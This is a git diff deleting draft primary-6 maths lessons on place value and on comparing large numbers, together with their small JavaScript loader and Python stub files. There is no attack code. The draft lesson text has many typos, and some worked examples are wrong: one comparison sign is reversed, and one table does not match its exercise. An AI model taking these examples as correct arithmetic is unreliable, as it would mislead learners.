-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a04/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a04/lesson.js
deleted file mode 100644
index 12ba7c3..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a04/source.txt b/Save_Mathematics/P6/map611m02/map611m02a04/source.txt
deleted file mode 100644
index fdc778e..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a04/source.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- Independent Practice: Student idenifying the place vallue
-</p>
-<p>
- For the following numbers, fill in the table and identify the underlined digits:
- <br />
- a) 1
- <span style="text-decoration: underline;">
-  8
- </span>
- 6,8
- <span style="text-decoration: underline;">
-  5
- </span>
- 5,81
- <span style="text-decoration: underline;">
-  1
- </span>
- <br />
- b)
- <span style="text-decoration: underline;">
-  1
- </span>
- 28,
- <span style="text-decoration: underline;">
-  2
- </span>
- 15,8
- <span style="text-decoration: underline;">
-  0
- </span>
- 7
- <br />
- c) 40
- <span style="text-decoration: underline;">
-  5
- </span>
- ,4
- <span style="text-decoration: underline;">
-  5
- </span>
- 6,
- <span style="text-decoration: underline;">
-  1
- </span>
- 48
- <br />
- d) 3
- <span style="text-decoration: underline;">
-  0
- </span>
- 4,90
- <span style="text-decoration: underline;">
-  1
- </span>
- ,5
- <span style="text-decoration: underline;">
-  8
- </span>
- 4
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Note to creator: student needs to have a blank table to fill out.
- </span>
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Student needs space to define digits
- </span>
- <br />
- <br />
- **The place value of any given number can be identified without using a table, by counting digits from RIGHT to LEFT.&nbsp; The 1st three digits are units, the 2nd three digits are thousands, and the last three digits are millions!
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a05/a.txt b/Save_Mathematics/P6/map611m02/map611m02a05/a.txt
deleted file mode 100644
index 6a69017..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a05/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- A) Write the place value of 5 in the following numbers:
-</p>
-<p>
- * 566,869,672
-</p>
-<p>
- * 495,770,980
-</p>
-<p>
- * 133,931,135
-</p>
-<p>
- * 242,104,562
-</p>
-<p>
- * 429,540,166
-</p>
-<p>
- * 150,130,334
-</p>
-<p>
- B) Write the three numbers above in the expended form.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a05/description.py b/Save_Mathematics/P6/map611m02/map611m02a05/description.py
deleted file mode 100644
index f18d627..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a05/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a05/lesson.js
deleted file mode 100644
index 66f2f74..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a05/source.txt b/Save_Mathematics/P6/map611m02/map611m02a05/source.txt
deleted file mode 100644
index 6a69017..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a05/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- A) Write the place value of 5 in the following numbers:
-</p>
-<p>
- * 566,869,672
-</p>
-<p>
- * 495,770,980
-</p>
-<p>
- * 133,931,135
-</p>
-<p>
- * 242,104,562
-</p>
-<p>
- * 429,540,166
-</p>
-<p>
- * 150,130,334
-</p>
-<p>
- B) Write the three numbers above in the expended form.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a06/a.txt b/Save_Mathematics/P6/map611m02/map611m02a06/a.txt
deleted file mode 100644
index fd387a7..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a06/a.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- Evaluation - using a table
-</p>
-<p>
- 1) Using a table, write the following numbers:
-</p>
-<p>
- * 379,948,450
-</p>
-<p>
- *196,728,473
-</p>
-<p>
- * 694,353,624
-</p>
-<p>
- * 145,426,339
-</p>
-<p>
- * 543,124,502
-</p>
-<p>
- * 234,636,413
-</p>
-<p>
- Note to creator: students should have a table to fill out
-</p>
-<p>
- 2) Write each number in the table in question 1 in the expended form.
-</p>
-<p>
- 3) Write these as single number.
-</p>
-<p>
- a) 300 000 000+10 000 000+4 000 000 +60 000 +8 000 +400+20+9 b) 700 000 000+80 000+800+17
-</p>
-<p>
- c) (9*100 000 000)+(4*10 000 000)+(7*1 000 000)+(6*100 000)+(3*100)+1
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a06/description.py b/Save_Mathematics/P6/map611m02/map611m02a06/description.py
deleted file mode 100644
index f95da81..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a06/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a06/lesson.js
deleted file mode 100644
index 7a7f418..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a06/source.txt b/Save_Mathematics/P6/map611m02/map611m02a06/source.txt
deleted file mode 100644
index fd387a7..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a06/source.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- Evaluation - using a table
-</p>
-<p>
- 1) Using a table, write the following numbers:
-</p>
-<p>
- * 379,948,450
-</p>
-<p>
- *196,728,473
-</p>
-<p>
- * 694,353,624
-</p>
-<p>
- * 145,426,339
-</p>
-<p>
- * 543,124,502
-</p>
-<p>
- * 234,636,413
-</p>
-<p>
- Note to creator: students should have a table to fill out
-</p>
-<p>
- 2) Write each number in the table in question 1 in the expended form.
-</p>
-<p>
- 3) Write these as single number.
-</p>
-<p>
- a) 300 000 000+10 000 000+4 000 000 +60 000 +8 000 +400+20+9 b) 700 000 000+80 000+800+17
-</p>
-<p>
- c) (9*100 000 000)+(4*10 000 000)+(7*1 000 000)+(6*100 000)+(3*100)+1
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a07/a.txt b/Save_Mathematics/P6/map611m02/map611m02a07/a.txt
deleted file mode 100644
index 2883de0..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a07/a.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- Students re-do intro and are given the following examples:
-</p>
-<p>
- * For a person to build a modern house in RDA, they have to possess at least 482,734,000RWF
-</p>
-<p>
- * The construction of a hospital costs approximately 734,482,000RWF
-</p>
-<p>
- Note to creator: the above sentences should be recorded and read out loud to the student
-</p>
-<p>
- A) Use the table and indicate the place value of each digit of this number: 294,930,203
-</p>
-<p>
- hundred millions - 2
-</p>
-<p>
- ten million - 9
-</p>
-<p>
- one millions hundred thousands
-</p>
-<p>
- ten thousands
-</p>
-<p>
- one thousands - 0
-</p>
-<p>
- hundreds tens - 0
-</p>
-<p>
- ones
-</p>
-<p>
- B) Write that number in the expended form
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a07/description.py b/Save_Mathematics/P6/map611m02/map611m02a07/description.py
deleted file mode 100644
index 46b3be5..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a07/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a07/lesson.js
deleted file mode 100644
index 8b44573..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a07/source.txt b/Save_Mathematics/P6/map611m02/map611m02a07/source.txt
deleted file mode 100644
index 2883de0..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a07/source.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- Students re-do intro and are given the following examples:
-</p>
-<p>
- * For a person to build a modern house in RDA, they have to possess at least 482,734,000RWF
-</p>
-<p>
- * The construction of a hospital costs approximately 734,482,000RWF
-</p>
-<p>
- Note to creator: the above sentences should be recorded and read out loud to the student
-</p>
-<p>
- A) Use the table and indicate the place value of each digit of this number: 294,930,203
-</p>
-<p>
- hundred millions - 2
-</p>
-<p>
- ten million - 9
-</p>
-<p>
- one millions hundred thousands
-</p>
-<p>
- ten thousands
-</p>
-<p>
- one thousands - 0
-</p>
-<p>
- hundreds tens - 0
-</p>
-<p>
- ones
-</p>
-<p>
- B) Write that number in the expended form
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a08/a.txt b/Save_Mathematics/P6/map611m02/map611m02a08/a.txt
deleted file mode 100644
index f890dcb..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a08/a.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- ENRICHMENT
-</p>
-<p>
- <br />
- The populations of the countries in East Africa are as follows:
- <br />
- Tanzania - 37,600,000
- <br />
- Kenya - 37,900,000
- <br />
- Uganda - 31,400,000
- <br />
- Democratic Republic of Congo - 66,000,000
- <br />
- Rwanda - 10,200,000
- <br />
- <br />
- Find the population of the entire East African area (all countries together) and put the sum in the table:
- <br />
- <br />
- hundred millions
- <br />
- ten millions
- <br />
- one millions
- <br />
- hundred thousands
- <br />
- ten thousands
- <br />
- one thousands
- <br />
- hundreds
- <br />
- tens
- <br />
- ones
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a08/description.py b/Save_Mathematics/P6/map611m02/map611m02a08/description.py
deleted file mode 100644
index e219ad9..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a08/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a08/lesson.js
deleted file mode 100644
index cc8edd4..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a08/source.txt b/Save_Mathematics/P6/map611m02/map611m02a08/source.txt
deleted file mode 100644
index f890dcb..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a08/source.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- ENRICHMENT
-</p>
-<p>
- <br />
- The populations of the countries in East Africa are as follows:
- <br />
- Tanzania - 37,600,000
- <br />
- Kenya - 37,900,000
- <br />
- Uganda - 31,400,000
- <br />
- Democratic Republic of Congo - 66,000,000
- <br />
- Rwanda - 10,200,000
- <br />
- <br />
- Find the population of the entire East African area (all countries together) and put the sum in the table:
- <br />
- <br />
- hundred millions
- <br />
- ten millions
- <br />
- one millions
- <br />
- hundred thousands
- <br />
- ten thousands
- <br />
- one thousands
- <br />
- hundreds
- <br />
- tens
- <br />
- ones
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/activities.js b/Save_Mathematics/P6/map611m03/activities.js
deleted file mode 100755
index aa49d6f..0000000
--- a/Save_Mathematics/P6/map611m03/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m03a01','blue'],
-['2','2','map6','basic','map611m03a02','blue'],
-['3','3','map6','basic','map611m03a03','blue'],
-['4','4','map6','basic','map611m03a04','blue'],
-['5','5','map6','basic','map611m03a05','blue'],
-['6','6','map6','basic','map611m03a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m03/map611m03a01/a.txt b/Save_Mathematics/P6/map611m03/map611m03a01/a.txt
deleted file mode 100644
index 80332d0..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a01/a.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- INTRODUCION: Comparin andordeering the wholenumbers.
-</p>
-<p>
- As we have saw in the previous subjects how the numbers can be formed and written, it is now right time to see how they can be ordered or compared.
- <br />
- <br />
- Many times weuse numbers for comparing ages(20 years, 24 years), for comparing the number opulation living in town, in village for ordering numbers from the lwest or from te biggst and then the numbers are used to specify the equivalent between obects, animals(10kg of beanss are equal to 10kg of rice).
- <br />
- <br />
- When we talk about numbers of goats is 20 goats and are equal to 20 cows, 15 males are equal to 15 females.
- <br />
- <br />
- In this milestone , we will learn how to order the numbers of 9-digits or above and comparing them in order to be bble to respond to the questions like the following:
- <br />
- <br />
- 1. The primary sschool of EPAC Don Bosco received 1,967,896F for buying the school boos and the Primary school of ADPER Kimihurura reeceveid 2,967,986F.
- <br />
- Which school received much money?
- <br />
- <br />
- 2. Nkubitto ussedd 938 615 francs of fuell every month, Mutata used 893 165F who used less money?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a01/description.py b/Save_Mathematics/P6/map611m03/map611m03a01/description.py
deleted file mode 100644
index 4c6da75..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a01/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a01/lesson.js
deleted file mode 100644
index 9947af9..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a01/source.txt b/Save_Mathematics/P6/map611m03/map611m03a01/source.txt
deleted file mode 100644
index 80332d0..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a01/source.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- INTRODUCION: Comparin andordeering the wholenumbers.
-</p>
-<p>
- As we have saw in the previous subjects how the numbers can be formed and written, it is now right time to see how they can be ordered or compared.
- <br />
- <br />
- Many times weuse numbers for comparing ages(20 years, 24 years), for comparing the number opulation living in town, in village for ordering numbers from the lwest or from te biggst and then the numbers are used to specify the equivalent between obects, animals(10kg of beanss are equal to 10kg of rice).
- <br />
- <br />
- When we talk about numbers of goats is 20 goats and are equal to 20 cows, 15 males are equal to 15 females.
- <br />
- <br />
- In this milestone , we will learn how to order the numbers of 9-digits or above and comparing them in order to be bble to respond to the questions like the following:
- <br />
- <br />
- 1. The primary sschool of EPAC Don Bosco received 1,967,896F for buying the school boos and the Primary school of ADPER Kimihurura reeceveid 2,967,986F.
- <br />
- Which school received much money?
- <br />
- <br />
- 2. Nkubitto ussedd 938 615 francs of fuell every month, Mutata used 893 165F who used less money?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a02/a.txt b/Save_Mathematics/P6/map611m03/map611m03a02/a.txt
deleted file mode 100644
index 8a1d78d..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a02/a.txt
+++ /dev/null
@@ -1,487 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided practice:
-  <br />
-  <br />
- </span>
- 1. Among the following numbers, what is the greatest and the smallest number?
- <br />
- <br />
- a. 314,426,628 and 312,426,682
- <br />
- b. 803,374,102 and 803,437,102
- <br />
- c. 125,502,851 and 125,851,502
- <br />
- <br />
- 2. Arrange those numbers above from the smallest to the greatest.
- <br />
- <br />
- <span style="color: #ff0000;">
-  Note to creeate:
- </span>
- <br />
- <br />
- To arrangee the numbers from the smallest to the greateest, we call this activity, the ascending order and then we have to consider the place value of each digit from right to left.
- <br />
- <br />
- 3. Arrange the following numbers from the greatest to the ssmallest.
- <br />
- a. 430 067 790; 430 607 790 and 403 067 907
- <br />
- b. 924 456 136; 924 654 136 and 924 136 456
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- a. 430 607 790;430 067 790;403 067 907
- <br />
- b. 924 654 136; 924 456 136
- <br />
- <br />
- <span style="color: #ff0000;">
-  Note to create:
- </span>
- <br />
- <br />
- To arrange the numbers from the greatest to the smallest, this activity is calledd descending order.
- <br />
- <br />
- 3. Fill in the table using the following numbers ad compare them using place values.
- <br />
- a. 453 539 342 and 152 625 926
- <br />
- b. 765 819 663 and 756 819 663
- <br />
- c. 978 654 305 and 978 654 305
- <br />
- d. 984 625 815 and 984 652 819
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Million
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousand
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="font-weight: bold; color: #ff0000;">
-     5
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="font-weight: bold; color: #ff0000;">
-     9
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td colspan="9" width="11%" valign="top">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="color: #ff0000;">
-     9
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <span style="color: #ff0000;">
-     4
-    </span>
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" colspan="9">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <span style="font-weight: bold; color: #ff0000;">
-  Notes to creator:
- </span>
- <br />
- <br />
- a) When you compare the numbers according tto their place values, from left, the smallest is 453 539 342 becauase we havve 5 as hundred thousand and 9 hundred thousand thatmeans we use less than(
- <span style="color: #ff0000;">
-  &lt;
- </span>
- )
- <br />
- thus: 453 539 342
- <span style="color: #ff0000;">
-  &lt;
- </span>
- 453 935 342.
- <br />
- 453 935 342
- <span style="color: #ff0000;">
-  &gt;
- </span>
- 453 539 342.
- <br />
- <br />
- ** According tto number c, we haave the same number of digits from left and all digits are equal. We use equal to (
- <span style="font-weight: bold; color: #ff0000;">
-  =
- </span>
- ).
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing nubers from the smallest we use less than (
-  <span style="color: #ff0000;">
-   &lt;
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 1
- <span style="text-decoration: underline; font-weight: bold; color: #ff0000;">
-  7
- </span>
- 6 879 121 &lt; 1
- <span style="text-decoration: underline; font-weight: bold; color: #ff0000;">
-  6
- </span>
- 6 978 112.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing numbers from the greatest, we use greater than (
-  <span style="color: #ff0000;">
-   &gt;
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 392 7
- <span style="color: #ff0000;">
-  9
- </span>
- 6 121 &gt; 392 7
- <span style="color: #ff0000;">
-  8
- </span>
- 6 399.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing the same numbers, we use the equal to sign(
-  <span style="color: #ff0000;">
-   =
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 392 796 399 = 392 796 399.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a02/description.py b/Save_Mathematics/P6/map611m03/map611m03a02/description.py
deleted file mode 100644
index dd2a2b3..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a02/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a02/lesson.js
deleted file mode 100644
index 92a91ea..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a02/source.txt b/Save_Mathematics/P6/map611m03/map611m03a02/source.txt
deleted file mode 100644
index 8a1d78d..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a02/source.txt
+++ /dev/null
@@ -1,487 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided practice:
-  <br />
-  <br />
- </span>
- 1. Among the following numbers, what is the greatest and the smallest number?
- <br />
- <br />
- a. 314,426,628 and 312,426,682
- <br />
- b. 803,374,102 and 803,437,102
- <br />
- c. 125,502,851 and 125,851,502
- <br />
- <br />
- 2. Arrange those numbers above from the smallest to the greatest.
- <br />
- <br />
- <span style="color: #ff0000;">
-  Note to creeate:
- </span>
- <br />
- <br />
- To arrangee the numbers from the smallest to the greateest, we call this activity, the ascending order and then we have to consider the place value of each digit from right to left.
- <br />
- <br />
- 3. Arrange the following numbers from the greatest to the ssmallest.
- <br />
- a. 430 067 790; 430 607 790 and 403 067 907
- <br />
- b. 924 456 136; 924 654 136 and 924 136 456
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- a. 430 607 790;430 067 790;403 067 907
- <br />
- b. 924 654 136; 924 456 136
- <br />
- <br />
- <span style="color: #ff0000;">
-  Note to create:
- </span>
- <br />
- <br />
- To arrange the numbers from the greatest to the smallest, this activity is calledd descending order.
- <br />
- <br />
- 3. Fill in the table using the following numbers ad compare them using place values.
- <br />
- a. 453 539 342 and 152 625 926
- <br />
- b. 765 819 663 and 756 819 663
- <br />
- c. 978 654 305 and 978 654 305
- <br />
- d. 984 625 815 and 984 652 819
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Million
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousand
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
